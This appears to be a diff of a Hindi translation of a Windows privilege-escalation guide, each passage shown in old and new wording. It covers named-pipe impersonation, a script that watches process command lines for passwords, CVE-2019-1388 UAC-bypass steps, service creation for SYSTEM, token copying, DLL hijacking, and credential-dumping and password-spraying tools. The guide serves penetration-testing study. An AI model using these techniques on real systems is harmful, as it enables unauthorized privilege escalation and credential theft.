जब डेटा एक पाइप के माध्यम से **क्लाइंट** द्वारा भेजा जाता है, तो **सर्वर** जिसने पाइप सेट किया है, **क्लाइंट की पहचान** अपनाने की क्षमता रखता है, बशर्ते कि उसके पास आवश्यक **SeImpersonate** अधिकार हों। एक **privileged प्रक्रिया** की पहचान करना जो एक पाइप के माध्यम से संवाद करती है जिसे आप अनुकरण कर सकते हैं, आपको **उच्च विशेषाधिकार प्राप्त करने** का अवसर प्रदान करता है जब वह प्रक्रिया उस पाइप के साथ बातचीत करती है जिसे आपने स्थापित किया है। इस तरह के हमले को निष्पादित करने के लिए निर्देशों के लिए, सहायक मार्गदर्शिकाएँ [**यहाँ**](named-pipe-client-impersonation.md) और [**यहाँ**](#from-high-integrity-to-system) पाई जा सकती हैं।
|
||||
जब डेटा एक **client** द्वारा एक पाइप के माध्यम से भेजा जाता है, तो **server** जिसने पाइप सेट किया है, **client** की पहचान **अपनाने** की क्षमता रखता है, बशर्ते कि उसके पास आवश्यक **SeImpersonate** अधिकार हों। एक **privileged प्रक्रिया** की पहचान करना जो एक पाइप के माध्यम से संवाद करती है जिसे आप अनुकरण कर सकते हैं, आपको **उच्च विशेषाधिकार प्राप्त करने** का अवसर प्रदान करता है जब वह प्रक्रिया उस पाइप के साथ बातचीत करती है जिसे आपने स्थापित किया है। इस तरह के हमले को निष्पादित करने के लिए निर्देशों के लिए, सहायक मार्गदर्शिकाएँ [**यहाँ**](named-pipe-client-impersonation.md) और [**यहाँ**](#from-high-integrity-to-system) पाई जा सकती हैं।
|
||||
|
||||
इसके अलावा, निम्नलिखित उपकरण **burp जैसे उपकरण के साथ एक named pipe संचार को इंटरसेप्ट करने की अनुमति देता है:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **और यह उपकरण सभी पाइपों को सूचीबद्ध करने और privescs खोजने की अनुमति देता है** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
इसके अलावा, निम्नलिखित उपकरण **burp जैसे उपकरण के साथ एक named pipe संचार को इंटरसेप्ट करने की अनुमति देता है:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **और यह उपकरण सभी पाइपों को सूचीबद्ध और देखने की अनुमति देता है ताकि privescs को खोजा जा सके** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
|
||||
## Misc
|
||||
|
||||
### **Monitoring Command Lines for passwords**
|
||||
|
||||
जब एक उपयोगकर्ता के रूप में एक शेल प्राप्त करते हैं, तो कुछ शेड्यूल किए गए कार्य या अन्य प्रक्रियाएँ हो सकती हैं जो **कमांड लाइन पर क्रेडेंशियल्स पास करती हैं**। नीचे दिया गया स्क्रिप्ट हर दो सेकंड में प्रक्रिया कमांड लाइनों को कैप्चर करता है और वर्तमान स्थिति की तुलना पिछले स्थिति से करता है, किसी भी अंतर को आउटपुट करता है।
|
||||
जब एक उपयोगकर्ता के रूप में एक शेल प्राप्त करते हैं, तो कुछ शेड्यूल किए गए कार्य या अन्य प्रक्रियाएँ चल रही हो सकती हैं जो **कमांड लाइन पर क्रेडेंशियल्स पास करती हैं**। नीचे दिया गया स्क्रिप्ट हर दो सेकंड में प्रक्रिया कमांड लाइनों को कैप्चर करता है और वर्तमान स्थिति की तुलना पिछले स्थिति से करता है, किसी भी अंतर को आउटपुट करता है।
|
||||
```powershell
|
||||
while($true)
|
||||
{
|
||||
@ -1247,13 +1247,13 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
|
||||
Compare-Object -ReferenceObject $process -DifferenceObject $process2
|
||||
}
|
||||
```
|
||||
## प्रक्रियाओं से पासवर्ड चुराना
|
||||
## पासवर्ड चुराना प्रक्रियाओं से
|
||||
|
||||
## कम विशेषाधिकार उपयोगकर्ता से NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC बायपास
|
||||
## लो प्रिविलेज यूजर से NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC बायपास
|
||||
|
||||
यदि आपके पास ग्राफिकल इंटरफेस (कंसोल या RDP के माध्यम से) तक पहुंच है और UAC सक्षम है, तो Microsoft Windows के कुछ संस्करणों में एक गैर-विशेषाधिकार उपयोगकर्ता से "NT\AUTHORITY SYSTEM" जैसे किसी भी अन्य प्रक्रिया को चलाना संभव है।
|
||||
यदि आपके पास ग्राफिकल इंटरफेस (कंसोल या RDP के माध्यम से) तक पहुंच है और UAC सक्षम है, तो Microsoft Windows के कुछ संस्करणों में एक अनधिकृत उपयोगकर्ता से "NT\AUTHORITY SYSTEM" जैसे किसी भी अन्य प्रक्रिया को चलाना संभव है।
|
||||
|
||||
यह विशेषाधिकारों को बढ़ाने और एक ही समय में उसी भेद्यता के साथ UAC को बायपास करने की अनुमति देता है। इसके अतिरिक्त, कुछ भी स्थापित करने की आवश्यकता नहीं है और प्रक्रिया के दौरान उपयोग किया जाने वाला बाइनरी Microsoft द्वारा हस्ताक्षरित और जारी किया गया है।
|
||||
यह प्रिविलेज को बढ़ाने और एक ही समय में उसी भेद्यता के साथ UAC को बायपास करने की अनुमति देता है। इसके अतिरिक्त, कुछ भी स्थापित करने की आवश्यकता नहीं है और प्रक्रिया के दौरान उपयोग किया जाने वाला बाइनरी Microsoft द्वारा साइन और जारी किया गया है।
|
||||
|
||||
कुछ प्रभावित सिस्टम निम्नलिखित हैं:
|
||||
```
|
||||
@ -1277,7 +1277,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM **
|
||||
Windows 10 1703 15063 link NOT opened
|
||||
Windows 10 1709 16299 link NOT opened
|
||||
```
|
||||
इस कमजोरियों का लाभ उठाने के लिए, निम्नलिखित चरणों को करना आवश्यक है:
|
||||
इस कमजोरियों का लाभ उठाने के लिए, निम्नलिखित चरणों को पूरा करना आवश्यक है:
|
||||
```
|
||||
1) Right click on the HHUPD.EXE file and run it as Administrator.
|
||||
|
||||
@ -1301,7 +1301,7 @@ https://github.com/jas502n/CVE-2019-1388
|
||||
|
||||
## व्यवस्थापक मध्यम से उच्च अखंडता स्तर / UAC बायपास
|
||||
|
||||
**अखंडता स्तरों** के बारे में जानने के लिए इसे पढ़ें:
|
||||
**अखंडता स्तरों के बारे में जानने के लिए इसे पढ़ें:**
|
||||
|
||||
{{#ref}}
|
||||
integrity-levels.md
|
||||
@ -1317,36 +1317,36 @@ integrity-levels.md
|
||||
|
||||
### **नई सेवा**
|
||||
|
||||
यदि आप पहले से ही उच्च अखंडता प्रक्रिया पर चल रहे हैं, तो **SYSTEM में पास करना** केवल **एक नई सेवा बनाकर और उसे निष्पादित करके** आसान हो सकता है:
|
||||
यदि आप पहले से ही उच्च अखंडता प्रक्रिया पर चल रहे हैं, तो **SYSTEM पर पास करना** केवल **एक नई सेवा बनाकर और उसे निष्पादित करके** आसान हो सकता है:
|
||||
```
|
||||
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
|
||||
sc start newservicename
|
||||
```
|
||||
### AlwaysInstallElevated
|
||||
|
||||
एक उच्च इंटीग्रिटी प्रक्रिया से आप **AlwaysInstallElevated रजिस्ट्री प्रविष्टियों को सक्षम करने** और **एक रिवर्स शेल स्थापित करने** की कोशिश कर सकते हैं, जिसका उपयोग _**.msi**_ रैपर के रूप में किया जाता है।\
|
||||
[रजिस्ट्री कुंजियों के बारे में अधिक जानकारी और _.msi_ पैकेज स्थापित करने के लिए यहां पढ़ें।](#alwaysinstallelevated)
|
||||
एक उच्च इंटीग्रिटी प्रक्रिया से आप **AlwaysInstallElevated रजिस्ट्री प्रविष्टियों को सक्षम करने** और **एक रिवर्स शेल स्थापित करने** की कोशिश कर सकते हैं जो एक _**.msi**_ रैपर का उपयोग करता है।\
|
||||
[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated)
|
||||
|
||||
### High + SeImpersonate privilege to System
|
||||
|
||||
**आप** [**कोड यहां खोज सकते हैं**](seimpersonate-from-high-to-system.md)**।**
|
||||
**आप** [**कोड यहाँ खोज सकते हैं**](seimpersonate-from-high-to-system.md)**।**
|
||||
|
||||
### From SeDebug + SeImpersonate to Full Token privileges
|
||||
|
||||
यदि आपके पास ये टोकन विशेषाधिकार हैं (संभवतः आप इसे पहले से उच्च इंटीग्रिटी प्रक्रिया में पाएंगे), तो आप **लगभग किसी भी प्रक्रिया को** (संरक्षित प्रक्रियाओं को छोड़कर) SeDebug विशेषाधिकार के साथ **खोलने**, प्रक्रिया का **टोकन कॉपी करने**, और उस टोकन के साथ एक **मनमाना प्रक्रिया बनाने** में सक्षम होंगे।\
|
||||
इस तकनीक का उपयोग आमतौर पर **SYSTEM के रूप में चल रही किसी भी प्रक्रिया को सभी टोकन विशेषाधिकारों के साथ चुना जाता है** (_हाँ, आप सभी टोकन विशेषाधिकारों के बिना SYSTEM प्रक्रियाएँ पा सकते हैं_)।\
|
||||
**आप एक** [**उदाहरण कोड executing the proposed technique यहां खोज सकते हैं**](sedebug-+-seimpersonate-copy-token.md)**।**
|
||||
यदि आपके पास ये टोकन विशेषाधिकार हैं (संभवतः आप इसे पहले से उच्च इंटीग्रिटी प्रक्रिया में पाएंगे), तो आप **लगभग किसी भी प्रक्रिया को** (सुरक्षित प्रक्रियाओं को छोड़कर) SeDebug विशेषाधिकार के साथ **खोलने**, प्रक्रिया का **टोकन कॉपी करने**, और उस टोकन के साथ एक **मनमाना प्रक्रिया बनाने** में सक्षम होंगे।\
|
||||
इस तकनीक का उपयोग आमतौर पर **SYSTEM के रूप में चल रही किसी भी प्रक्रिया को सभी टोकन विशेषाधिकारों के साथ चुना जाता है** (_हाँ, आप सभी टोकन विशेषाधिकारों के बिना SYSTEM प्रक्रियाएँ खोज सकते हैं_)।\
|
||||
**आप एक** [**उदाहरण कोड executing the proposed technique यहाँ खोज सकते हैं**](sedebug-+-seimpersonate-copy-token.md)**।**
|
||||
|
||||
### **Named Pipes**
|
||||
|
||||
यह तकनीक मीटरप्रीटर द्वारा `getsystem` में वृद्धि के लिए उपयोग की जाती है। यह तकनीक **एक पाइप बनाने और फिर उस पाइप पर लिखने के लिए एक सेवा बनाने/दुरुपयोग करने** पर आधारित है। फिर, **सर्वर** जिसने **`SeImpersonate`** विशेषाधिकार का उपयोग करके पाइप बनाया, वह पाइप क्लाइंट (सेवा) के टोकन को **प्रतिनिधित्व** करने में सक्षम होगा, जिससे SYSTEM विशेषाधिकार प्राप्त होंगे।\
|
||||
यह तकनीक मीटरप्रेटर द्वारा `getsystem` में वृद्धि के लिए उपयोग की जाती है। यह तकनीक **एक पाइप बनाने और फिर उस पाइप पर लिखने के लिए एक सेवा बनाने/दुरुपयोग करने** पर आधारित है। फिर, **सर्वर** जिसने **`SeImpersonate`** विशेषाधिकार का उपयोग करके पाइप बनाया, वह पाइप क्लाइंट (सेवा) के टोकन को **प्रतिनिधित्व** करने में सक्षम होगा और SYSTEM विशेषाधिकार प्राप्त करेगा।\
|
||||
यदि आप [**नाम पाइप के बारे में अधिक जानना चाहते हैं तो आपको यह पढ़ना चाहिए**](#named-pipe-client-impersonation)।\
|
||||
यदि आप [**उदाहरण पढ़ना चाहते हैं कि कैसे उच्च इंटीग्रिटी से SYSTEM में नाम पाइप का उपयोग करके जाना है तो आपको यह पढ़ना चाहिए**](from-high-integrity-to-system-with-name-pipes.md)।
|
||||
यदि आप [**उदाहरण पढ़ना चाहते हैं कि कैसे उच्च इंटीग्रिटी से SYSTEM में जाना है नाम पाइप का उपयोग करते हुए तो आपको यह पढ़ना चाहिए**](from-high-integrity-to-system-with-name-pipes.md)।
|
||||
|
||||
### Dll Hijacking
|
||||
|
||||
यदि आप **एक dll को हाईजैक करने में सफल होते हैं** जो **SYSTEM** के रूप में चल रही **प्रक्रिया** द्वारा **लोड** की जा रही है, तो आप उन अनुमतियों के साथ मनमाना कोड निष्पादित करने में सक्षम होंगे। इसलिए Dll Hijacking इस प्रकार के विशेषाधिकार वृद्धि के लिए भी उपयोगी है, और, इसके अलावा, यह **उच्च इंटीग्रिटी प्रक्रिया से प्राप्त करना अधिक आसान है** क्योंकि इसके पास **dlls को लोड करने के लिए उपयोग की जाने वाली फ़ोल्डरों पर लिखने की अनुमति होगी**।\
|
||||
**आप** [**Dll hijacking के बारे में अधिक जान सकते हैं यहां**](dll-hijacking/)**।**
|
||||
**आप** [**Dll hijacking के बारे में अधिक जान सकते हैं यहाँ**](dll-hijacking/index.html)**।**
|
||||
|
||||
### **From Administrator or Network Service to System**
|
||||
|
||||
@ -1369,12 +1369,12 @@ https://github.com/sailay1996/RpcSsImpersonator
|
||||
**PS**
|
||||
|
||||
[**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\
|
||||
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- गलत कॉन्फ़िगरेशन और संवेदनशील फ़ाइलों की जांच करें (**[**यहां जांचें**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)। पता चला।**\
|
||||
[**JAWS**](https://github.com/411Hall/JAWS) **-- कुछ संभावित गलत कॉन्फ़िगरेशन की जांच करें और जानकारी एकत्र करें (**[**यहां जांचें**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)।**\
|
||||
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- गलत कॉन्फ़िगरेशन और संवेदनशील फ़ाइलों की जांच करें (**[**यहाँ जांचें**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)। पता चला।**\
|
||||
[**JAWS**](https://github.com/411Hall/JAWS) **-- कुछ संभावित गलत कॉन्फ़िगरेशन की जांच करें और जानकारी एकत्र करें (**[**यहाँ जांचें**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)।**\
|
||||
[**privesc** ](https://github.com/enjoiz/Privesc)**-- गलत कॉन्फ़िगरेशन की जांच करें**\
|
||||
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- यह PuTTY, WinSCP, SuperPuTTY, FileZilla, और RDP सहेजे गए सत्र की जानकारी निकालता है। स्थानीय में -Thorough का उपयोग करें।**\
|
||||
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- क्रेडेंशियल मैनेजर से क्रेडेंशियल निकालता है। पता चला।**\
|
||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- डोमेन के चारों ओर एकत्रित पासवर्ड को स्प्रे करें**\
|
||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- डोमेन के चारों ओर एकत्रित पासवर्ड का छिड़काव करें**\
|
||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh एक PowerShell ADIDNS/LLMNR/mDNS/NBNS स्पूफर और मैन-इन-द-मिडल उपकरण है।**\
|
||||
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- बुनियादी privesc Windows एन्यूमरेशन**\
|
||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- ज्ञात privesc कमजोरियों की खोज करें (DEPRECATED for Watson)\
|
||||
@ -1382,10 +1382,10 @@ https://github.com/sailay1996/RpcSsImpersonator
|
||||
|
||||
**Exe**
|
||||
|
||||
[**Watson**](https://github.com/rasta-mouse/Watson) -- ज्ञात privesc कमजोरियों की खोज करें (इसे VisualStudio का उपयोग करके संकलित करने की आवश्यकता है) ([**पूर्व-संकलित**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
|
||||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- गलत कॉन्फ़िगरेशन की खोज के लिए होस्ट का एन्यूमरेशन करता है (यह privesc से अधिक जानकारी एकत्र करने का उपकरण है) (संकलन की आवश्यकता है) **(**[**पूर्व-संकलित**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
||||
[**Watson**](https://github.com/rasta-mouse/Watson) -- ज्ञात privesc कमजोरियों की खोज करें (इसे VisualStudio का उपयोग करके संकलित करने की आवश्यकता है) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
|
||||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- गलत कॉन्फ़िगरेशन की खोज के लिए होस्ट का एन्यूमरेट करता है (यह privesc से अधिक जानकारी एकत्र करने का उपकरण है) (इसे संकलित करने की आवश्यकता है) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
||||
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- कई सॉफ़्टवेयर से क्रेडेंशियल निकालता है (गिटहब में पूर्व-संकलित exe)**\
|
||||
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp का C# में पोर्ट**\
|
||||
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- C# में PowerUp का पोर्ट**\
|
||||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- गलत कॉन्फ़िगरेशन की जांच करें (गिटहब में पूर्व-संकलित निष्पादन योग्य)। अनुशंसित नहीं। यह Win10 में ठीक से काम नहीं करता।\
|
||||
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- संभावित गलत कॉन्फ़िगरेशन की जांच करें (पायथन से exe)। अनुशंसित नहीं। यह Win10 में ठीक से काम नहीं करता।
|
||||
|
||||
@ -1402,7 +1402,7 @@ https://github.com/sailay1996/RpcSsImpersonator
|
||||
|
||||
_multi/recon/local_exploit_suggestor_
|
||||
|
||||
आपको सही .NET संस्करण का उपयोग करके प्रोजेक्ट को संकलित करना होगा ([यहां देखें](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). पीड़ित होस्ट पर स्थापित .NET संस्करण देखने के लिए आप कर सकते हैं:
|
||||
आपको प्रोजेक्ट को सही .NET संस्करण का उपयोग करके संकलित करना होगा ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). पीड़ित होस्ट पर स्थापित .NET संस्करण देखने के लिए आप कर सकते हैं:
|
||||
```
|
||||
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
|
||||
```
|
||||
|
Loading…
x
Reference in New Issue
Block a user